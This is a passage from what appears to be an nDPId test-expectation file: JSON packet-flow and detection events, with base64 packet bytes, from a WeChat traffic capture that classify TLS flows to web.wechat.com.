bh6HYJU58Gg8JvudLXbOzrCRHzdI92Vvq\/AtuCjL2y5dz\/rNePX+ziHqVZfh4VxnDUkISCEObykXfmZqv5qULUHuSsjhzL7+TC\/74pvheU+c7Tsa3NhjGxQx+d+MjTGCnqDZWVE43OEt\/0I2\/g9vwPiIOuwRgARzwAtgEgN0GYLGjAwiuE7tIGhY5hZSVYXErSZMAXpx6JWXn2C5OWliSLNcPL\/nkxFWYOy1Wg3E0V1mMeEddDmUVyJIyTw+WwVy7VCnH0t1RKTHr\/DdgauqkdyD7J6cZWRgN9j2TdM\/ndUkBSYio1ghXuwv4\/D7Ir0aH8pkM48Osnv3+FTuVAevWSbVXrXRkUnRYexOiJcVuLBdct0zEpPBKPLiSt5MrVG2h7BVDNeaXOvLa57+KrNYQr4O7A9YZVh9eAttQ\/IpWGTVhPRb++mBK+o3CBAu9oorM9cT3v\/k5w5fmVRGZUn2AeDNFYepDibuaEVujyqcvKPZXtqw6uFwAc9hkWdIGaS8imCr\/o5esTvZ7tsQnbP8R7Q+9KIRySv5Wjl4SQQMsuv+qwmUM7\/I0mN4nSs61CU1HQjkPbbi5\/dEZ3q6wacp3mlY\/n9UZtXxHFhqw9z3NNcK2w6qaUYdjF9wrN98ZjEH+QTUzI5Tbscer+rbgKYrBKgqlrsH4rlju8Lx8RfWn1G0n3aRVR3lve0tAlKV4exqjrBzfYKv7OZj3Gr1l+0nct6IsVu1Xjs9kFXbBDqnosTO46RwW1Q\/vtW7WLeKFuQX\/Eq9TRQuzE9kASCBV+AXxu4+5FpIDBVOPTYG3OZT4x02MFJuDRVlT29hFb1QfvwMINfunQX5GIMfUJ9WWSKNQ8RpLCxMxBodJ9b4u1mAJPtyUmppqbWQa1AsvVe369L8uuAmoOE5BdD3ZzKTHOlTfLT24NFg4guj8NSmKU4ywDkXA06S6ceqgHFDzWPXOSmXimqVOsezt3PkKHigQvG1Tk1CLzDdEIhBnznqHgazetkT\/DbhAXbyX4sfbfgtV8132z48JPpavu6Jp3nvYWS0qNllBFhw98bVOvzjLL1xW7TSKRwbkPQAzVEGl9KbZhC09SPjLOVmaKPUtffTkpNywQk+XzwK+k0nb7LK3xTGKFEvYEoj8+hyOkZQOHL8z3gKAGO+Izq13XzsnoWlkCd1tzYI36C8R1sp48yuw8cnzJh53wnYbxpJeWH4AESLU1joNT\/0mNEy01fNPqSFnPvCVCDKAfLq8WLYGxGO2RUhvcSINWzk25MIZAQImIa5MZvZocb6iV9h1jCYlfZoWG9B2ezwXLUlgIu0V7Gc3Fw=="} +01083{"flow_id":19,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":205,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167367,"pkt_ts_usec":878543,"pkt_caplen":544,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":544,"pkt_l4_len":510,"pkt":"8IQvSpdgeJKcD6iOCABFAAISlaZAAEAGfcDAqAFny82XotNMAbt+X1gY0q3bG4AYASg3jgAAAQEICgAwyHdF0bJkFwMDAdkAAAAAAAAAAojyPjpXV\/2UBvjTQJxY4YMybtKB28wRxSPhXnLGR8aEZAmF1bv3ZiZYULibSqYSVfiOJgBQktgTfMaZnIYbe51hCcEteiJZm+Kvx1T3FQiNKPTPj2bILBkxmQIu8GOXjOrncFJTn3TwQwpFNjtQRvTsMVmU\/0JIVdcSF6YojYqH\/piRs6LECooi1lPpc4hLY7X43Ofw9dhpeOZ6R\/NqPuk1fbbrf\/fcuVmcfNfJVxAq9pW\/aXCNb1YvNC\/z4D6n3IfCLIPJR+MrYO14nEgcpWZeuuxndGHfxjbSb3dvXdDBw04XS\/RqH92vhM7axin5OpL2H4aB8B05r9LF8894RFbpmUY2No9PtPtCY\/0pFnpjEAjxr\/8GK5bD1azYUDBXXz9HxYMx9e0oJIQG5KIg9WxgCFRog9TqFrfoDs4qCHnLMzgAoe365GR9YDVqWtnO15ihN8\/NDuleU1swWwM\/IU1X7MQc2pOJb53fEulYov+ukJ063cjWG5TCE+x85qq0fsoXdbxw5qETxe+pu\/nugVkaOn+toWMH6YNI9Gdw0Wmy+nb\/tOtGEvOUiNDoLJCSi5TfuUXDpz\/tXLUOsPObR+jt0YcRDInUAtdrTj8rYdsvUw=="} +00699{"flow_id":13,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":207,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167368,"pkt_ts_usec":294639,"pkt_caplen":264,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":264,"pkt_l4_len":230,"pkt":"eJKcD6iO8IQvSpdgCABFoAD6dwhAACwGsNbLzZeiwKgBZwG70ypPgUzEIVgp+IAYATAEDwAAAQEICkXRss0AML1gFwMDAMGOrZUQQd+elU\/DgUOG7rXEfGlXnP3f\/qtwD0QWH9JQRgh3eLUoz0vysMOcJ7f\/q3bTGvZaljp1pa5aJOMWJzcLrndD5iwSOOk0dA\/\/aK1o5TSkWOSY1xYuU54JF\/7z89qcINevWo4jgaZZcb36Pc81OKbU6rr1kptdMEF5wXI6Kq+BtztlYTWzcEEsUegeCVWkzvsSZ3wYYsu4Y3AWkZWXeWmB1k3Cf5\/z3\/eg4WyzTWXQoAtCqwCDVM1ZhxZcg2G4"} +00425{"flow_id":13,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":208,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167368,"pkt_ts_usec":294704,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0n8ZAAEAGdX7AqAFny82XotMqAbshWCn4T4FNioAQAfTQWQAAAQEICgAwyN9F0bLN"} +02049{"flow_id":13,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":214,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167368,"pkt_ts_usec":688353,"pkt_caplen":1254,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1254,"pkt_l4_len":1220,"pkt":"8IQvSpdgeJKcD6iOCABFAATYn8dAAEAGcNnAqAFny82XotMqAbshWCn4T4FNioAYAfTs8wAAAQEICgAwyUJF0bLNFwMDBJ8AAAAAAAAAC6rxf+p+Q7SiYqgOA2WkIDyA3DeCVy9li74il9a\/WPKeqVumZsvFc8WFH2bMuqKDBkv8QR\/pNqidEZ\/XD6DO93jbU7U5eU9dcK6VDnBSALJQ7z9YiD8EVZ8YSDFBntZG8vWaGRIoKrfLc5X9L29QpMsrDAsouhwWe0SYzuYpTTZY1jP0Skhw8U\/p589sYz7MS3l9T3YQNJtDz6CUQUTgpHNYsj0\/qOLIiBUYtFC\/7JJMPb1nAFBbxHsSju1JwkpxMSHUaq3wjsRD51beuC1xyL67Jo+1cAYjwoMUGrcgCz89FY3IEo5HFQIOO78TWylDbgusUM7ccUTNFo4BXpBUtzOPWNefghzu5OsZY6zo8gKX3cAqRYjn7dT+D\/OwZOJwCqmjbjwwFV\/Dr5DFVBtc+RdbVOIOdgPI0SAuoq\/m3FDyxCFwJlx0E6YInMXhMUoYm+NUAIKaRbF\/3iBpWAf9HGikX2UZfchZysLAh0Pc09hDhtu1KPntmyDLdxhMD73H+K0QF\/kXRg0Mfjn7XZBPGoqQi7a0WWmFxjIwhOka4KkTD4DXmPNVn576p2h7lo\/y5qjyjVUsnP5772MeSSrJXiL9k8i7p4JooCRx70RfmqXV\/Ut7KNUv03ek+3V7yHhHPBc2djZdb0ZneOwSvCq2rCIDJwUOEAeR9mtNb2Udbt8JaUQf8st0iM+jFt\/S4CzPd9tZkH3ix2yjm9BicLbJ1AiI7MvcV7cY85Dt3SzzW\/MPIS\/dGorJTLzOy4JmVL+t\/CMhNEbLP4ARR2KvBpjmzvfAbp93xHe\/d0QqkVc7ciSSCTBKhvbeiKXA43mfKZtk343l7cvjr8BXWaYAO6foMagd0eRhDpCBD30rAew9mkUWqTAe1LGxZN3FAOHo\/RdEm8\/v2if9q9LxmPkwBvV99nd7hmUELm9k378g5wC+pIuGPIjtH\/qwzdw6rimWqdv+0Sr6Pk+8\/heBMVpuXguU\/L9YSBiqRm6dJBiO5exPmN2dhYYpNTCY3\/pLsdIGfmj20hkC+u\/qdG2BV7fufVSphKO9Z0LrLlMuZlkWCy6Zi2VbXfpRYSphIT4p07JqEoVXWRnKt9BT4RPd3O87JiHreCj317hMSagFwTJTjDaqsaWOj83WThkqZ2DyeGghIsOJUQUpDaiMSaBt02sDN6D6HOmunqjh\/F4MWhLCuyZPvu\/GeYxZHqUWS\/3ANKpagIrB1G\/wVHmgwDAktWUeeLc0DEatfi+lyKmn7GRw1ZT\/upa1yiEnKWF2nnH6Y4DhMiujU31SHwneuUX0zhjoTGQQ3kGbNtuvwQJ\/cQzGgVWik2fYnMdFm5yOnmELgrbVT41zVtquz55iollmB+qAHQl3sExL5aLymmhJHJt0N\/H8+tPYx3vruRZ4AzsNbnxCmUao2ggxzBKclSOkE2SxssZXoWI8dcDTXZELDQmdTeAIs1y9suPygydmB7a2Wur5JoBjQe+QJIroeUx1sZQYnyJbVHAmCHObUEa7BP2KnYki6gAXo\/d9k+WB\/7olsPGfwOvlPhNgz24NfjSXolexUQklBQAR2Kdbkva4"} +00436{"flow_id":20,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":216,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167368,"pkt_ts_usec":738739,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"eJKcD6iO8IQvSpdgCABFoAA8AABAACwGKJ3LzZeiwKgBZwG7002nXL3IaYSXp6ASN8hTlgAAAgQFoAQCCApFrU3YADDIFgEDAwc="} +00424{"flow_id":20,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":217,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167368,"pkt_ts_usec":738777,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0UGdAAEAGxN3AqAFny82XotNNAbtphJenp1y9yYAQAOW5NQAAAQEICgAwyU5FrUyc"} +00424{"flow_id":13,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":218,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167369,"pkt_ts_usec":11230,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"eJKcD6iO8IQvSpdgCABFoAA0dwlAACwGsZvLzZeiwKgBZwG70ypPgU2KIVgunIAQAUPLUAAAAQEICkXRs4AAMMlC"} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":219,"source":"wechat.pcap","alias":"nDPId-test","flow_id":21,"flow_packet_id":1,"flow_first_seen":1492167377896,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":1,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"216.58.205.142","src_port":49787,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00424{"flow_id":21,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":219,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167377,"pkt_ts_usec":896227,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0KM9AAEAGqhzAqAFn2DrNjsJ7AbvMOVSD1yvysIAQAT1vHQAAAQEICgAw0kAycerX"} +00426{"flow_id":21,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":220,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167377,"pkt_ts_usec":936495,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"eJKcD6iO8IQvSpdgCABFoAA0Fj0AADQGCA\/YOs2OwKgBZwG7wnvXK\/KwzDlUhIAQAVQWugAAAQEICjJymzYAMHos"} +00698{"flow_id":13,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":221,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167378,"pkt_ts_usec":336252,"pkt_caplen":264,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":264,"pkt_l4_len":230,"pkt":"eJKcD6iO8IQvSpdgCABFoAD6dwpAACwGsNTLzZeiwKgBZwG70ypPgU2KIVgunIAYAUO4gwAAAQEICkXRvJsAMMlCFwMDAMGOrZUQQd+elpC6jXhQN0+OxKQcXsPaqnj+1ENZvcp3idjqige3Sp9lPHY+uJ33v64WfeuccJb2L+GFejBrHAWHVOhnbSAio2DFRSfAwDsFczqmZec8k66\/IRNX2\/z\/5YWZCT3eOmwSfnOC\/\/ADwJooRdfKE1JqLKXihpm3LUObOHaO66Lyygop\/1BlV5aspusDNcuRRtxWYmgN4FP8dI0tJbYetqwRirIWR9ioMQDFa6HRsijSdDMzvTAkfIMOaFem"} +00425{"flow_id":13,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":222,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167378,"pkt_ts_usec":336319,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0n8hAAEAGdXzAqAFny82XotMqAbshWC6cT4FOUIAQAgu3OwAAAQEICgAw0q5F0byb"} +00424{"flow_id":20,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":227,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167378,"pkt_ts_usec":674623,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0UGhAAEAGxNzAqAFny82XotNNAbtphJenp1y9yYARAOWvgAAAAQEICgAw0wJFrUyc"} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":228,"source":"wechat.pcap","alias":"nDPId-test","flow_id":22,"flow_packet_id":1,"flow_first_seen":1492167378674,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54094,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00436{"flow_id":22,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":228,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167378,"pkt_ts_usec":674770,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"8IQvSpdgeJKcD6iOCABFAAA8mSRAAEAGfBjAqAFny82XotNOAbtKc0omAAAAAKACchBzmgAAAgQFtAQCCAoAMNMCAAAAAAEDAwc="} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":229,"source":"wechat.pcap","alias":"nDPId-test","flow_id":23,"flow_packet_id":1,"flow_first_seen":1492167378926,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54095,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00436{"flow_id":23,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":229,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167378,"pkt_ts_usec":926091,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"8IQvSpdgeJKcD6iOCABFAAA8cOpAAEAGpFLAqAFny82XotNPAbtxraOrAAAAAKACchDymgAAAgQFtAQCCAoAMNNBAAAAAAEDAwc="} +00421{"flow_id":20,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":230,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167379,"pkt_ts_usec":259,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"eJKcD6iO8IQvSpdgCABFoAA08+5AACwGNLbLzZeiwKgBZwG7002nXL3JaYSXqIARAHCktAAAAQEICkWtV9wAMNMC"} +00421{"flow_id":20,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":231,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167379,"pkt_ts_usec":321,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0UGlAAEAGxNvAqAFny82XotNNAbtphJeop1y9yoAQAOWj7QAAAQEICgAw01RFrVfc"} +00435{"flow_id":22,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":232,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167379,"pkt_ts_usec":33998,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"eJKcD6iO8IQvSpdgCABFoAA8AABAAC0GJ53LzZeiwKgBZwG7005qx4IjSnNKJ6ASN8i96gAAAgQFoAQCCApF0b0+ADDTAgEDAwc="} +00424{"flow_id":22,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":233,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167379,"pkt_ts_usec":34085,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0mSVAAEAGfB\/AqAFny82XotNOAbtKc0onaseCJIAQAOUjLAAAAQEICgAw01xF0b0+"} +00748{"flow_id":22,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":234,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167379,"pkt_ts_usec":34520,"pkt_caplen":304,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":304,"pkt_l4_len":270,"pkt":"8IQvSpdgeJKcD6iOCABFAAEimSZAAEAGezDAqAFny82XotNOAbtKc0onaseCJIAYAOUQ7wAAAQEICgAw01xF0b0+FgMBAOkBAADlAwOGOumiw0u0u0I6gmpzIGxnGk0VZSO+6aIdnNrT8rHiHCB+R4AGaiYYG\/eTLeHwwqwepnXhm94m+8GpHgG9docrHAAgiorMqcyozBTME8ArwC\/ALMAwwBPAFACcAJ0ALwA1AAoBAAB86uoAAP8BAAEAAAAAEwARAAAOd2ViLndlY2hhdC5jb20AFwAAACMAAAANABQAEgQDCAQEAQUDCAUFAQgGBgECAQAFAAUBAAAAAAASAAAAEAAOAAwCaDIIaHR0cC8xLjF1UAAAAAsAAgEAAAoACgAIOjoAHQAXABiqqgABAA=="} +00722{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":234,"source":"wechat.pcap","alias":"nDPId-test","flow_id":22,"flow_packet_id":4,"flow_first_seen":1492167378674,"flow_last_seen":1492167379034,"flow_tot_l4_data_len":382,"flow_min_l4_data_len":32,"flow_max_l4_data_len":270,"flow_avg_l4_data_len":95,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54094,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.WeChat","breed":"Fun","category":"Chat"},"tls": {"version":"TLSv1.2","client_requested_server_name":"web.wechat.com","ja3":"e330bca99c8a5256ae126a55c4c725c5","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}} +00436{"flow_id":23,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":235,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167379,"pkt_ts_usec":279841,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"eJKcD6iO8IQvSpdgCABFoAA8AABAAC4GJp3LzZeiwKgBZwG7009k83t+ca2jrKASN8iurAAAAgQFoAQCCApFrVgaADDTQQEDAwc="} +00424{"flow_id":23,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":236,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167379,"pkt_ts_usec":279928,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0cOtAAEAGpFnAqAFny82XotNPAbtxraOsZPN7f4AQAOUT8AAAAQEICgAw05lFrVga"} +00424{"flow_id":22,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":237,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167379,"pkt_ts_usec":394583,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"eJKcD6iO8IQvSpdgCABFoAA0P71AAC0G5+fLzZeiwKgBZwG7005qx4IkSnNLFYAQAHgiUAAAAQEICkXRvZkAMNNc"} +02343{"flow_id":22,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":238,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167379,"pkt_ts_usec":396531,"pkt_caplen":1494,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1494,"pkt_l4_len":1460,"pkt":"eJKcD6iO8IQvSpdgCABFoAXIP75AAC0G4lLLzZeiwKgBZwG7005qx4IkSnNLFYAQAHjUhQAAAQEICkXRvZoAMNNcFgMDAF0CAABZAwP2cjKwLiUUHBPfMsc2itTJJSkFWQr9crF5wSNcPq+FziCc+qdX8GXELVfQ5N806uYJcFsoXMTX+cAyXbg9n1utjcAvAAARAAAAAP8BAAEAAAsABAMAAQIWAwMKagsACmYACmMABgowggYGMIIE7qADAgECAhAw0VtVOfZrLt7UNL9vJ0R7MA0GCSqGSIb3DQEBCwUAMEQxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1HZW9UcnVzdCBJbmMuMR0wGwYDVQQDExRHZW9UcnVzdCBTU0wgQ0EgLSBHMzAeFw0xNTA5MjEwMDAwMDBaFw0xODA5MjAyMzU5NTlaMG8xCzAJBgNVBAYTAkhLMREwDwYDVQQIEwhIb25nS29uZzERMA8GA1UEBxQIV2FuIENoYWkxITAfBgNVBAoUGFRlbmNlbnQgTW9iaWxpdHkgTGltaXRlZDEXMBUGA1UEAxQOd2ViLndlY2hhdC5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDOKLCU12ARBCRlKli7V796N1s9bfDDDp36hVnOckXCCtd1EICzDOMCShPpSy6mvuoSPYBr2kWWo99zbB1a21uYKdVpQmanSw53I2i\/nT9Ba10GRLm5DHrUpDUEij+mkz50Z2gx4CFdsKkRaGEZPO+as9uZ5K0vR1Ij1SUq7qYvK\/o8FWohsRDN8NCmoaUDyOkjivmoxwF9B\/OolimvW\/aejHHbaF7KhHMDTMj3pM9w5Z2Pb22IeJh85lDZOl6rH+yOl8HX0\/8DT5oJOmZoGq0Ovth7OnIKiNK8RoWM02mbl0XitpMl\/rj\/RLaSgD7DwrZYmXrRrFMnwlkx7CD4EfJfAgMBAAGjggLHMIICwzCCAT4GA1UdEQSCATUwggExghN3ZWJwdXNoMS53ZWNoYXQuY29tghJ3ZWJwdXNoLndlY2hhdC5jb22CFGxvZ2luLndlYi53ZWNoYXQuY29tghZ3ZWJwdXNoLndlYi53ZWNoYXQuY29tghN3ZWJwdXNoMi53ZWNoYXQuY29tghd3ZWJwdXNoLndlYjIud2VjaGF0LmNvbYIUZmlsZS53ZWIyLndlY2hhdC5jb22CD3dlYjEud2VjaGF0LmNvbYITZmlsZS53ZWIud2VjaGF0LmNvbYIUbG9naW5wb2xsLndlY2hhdC5jb22CD3dlYjIud2VjaGF0LmNvbYIQbG9naW4ud2VjaGF0LmNvbYIVbG9naW4ud2ViMi53ZWNoYXQuY29tgg5yZXMud2VjaGF0LmNvbYIOd2ViLndlY2hhdC5jb20wCQYDVR0TBAIwADAOBgNVHQ8BAf8EBAMCBaAwKwYDVR0fBCQwIjAgoB6gHIYaaHR0cDovL2duLnN5bWNiLmNvbS9nbi5jcmwwgZ0GA1UdIASBlTCBkjCBjwYGZ4EMAQICMIGEMD8GCCsGAQUFBwIBFjNodHRwczovL3d3dy5nZW90cnVzdC5jb20vcmVzb3VyY2VzL3JlcG9zaXRvcnkvbGVnYWwwQQYIKwYBBQUHAgIwNQwzaHR0cHM6Ly93d3cuZ2VvdHJ1c3QuY29tL3Jlc291cmNlcy9yZXBvc2l0b3J5L2xlZ2FsMB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAfBgNVHSMEGDAWgBTSb\/eW9IU\/cjwwfSPahXibo3xafDBXBggrBgEFBQcBAQRLMEkwHwYIKwYBBQUHMAGGE2h0dHA6Ly9nbi5zeW1jZC5jb20wJgYIKwYBBQUHMAKGGmh0dHA6Ly9nbi5zeW1jYi5jb20vZ24uY3J0MA0GCSqGSIb3DQEBCwUAA4IBAQAZA+6JF4lvu2XJwUfeUSiNqeNdtX0tN26N"} +00779{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":238,"source":"wechat.pcap","alias":"nDPId-test","flow_id":22,"flow_packet_id":6,"flow_first_seen":1492167378674,"flow_last_seen":1492167379396,"flow_tot_l4_data_len":1874,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1460,"flow_avg_l4_data_len":312,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.103","dst_ip":"203.205.151.162","src_port":54094,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.WeChat","breed":"Fun","category":"Chat"},"tls": {"version":"TLSv1.2","client_requested_server_name":"web.wechat.com","ja3":"e330bca99c8a5256ae126a55c4c725c5","ja3s":"699a80bdb17efe157c861f92c5bf5d1d","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","alpn":"h2,http\/1.1"}} +00424{"flow_id":22,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":239,"source":"wechat.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1492167379,"pkt_ts_usec":396586,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"8IQvSpdgeJKcD6iOCABFAAA0mSdAAEAGfB3AqAFny82XotNOAbtKc0sVaseHuIAQAPsb3QAAAQEICgAw07dF0b2a"} 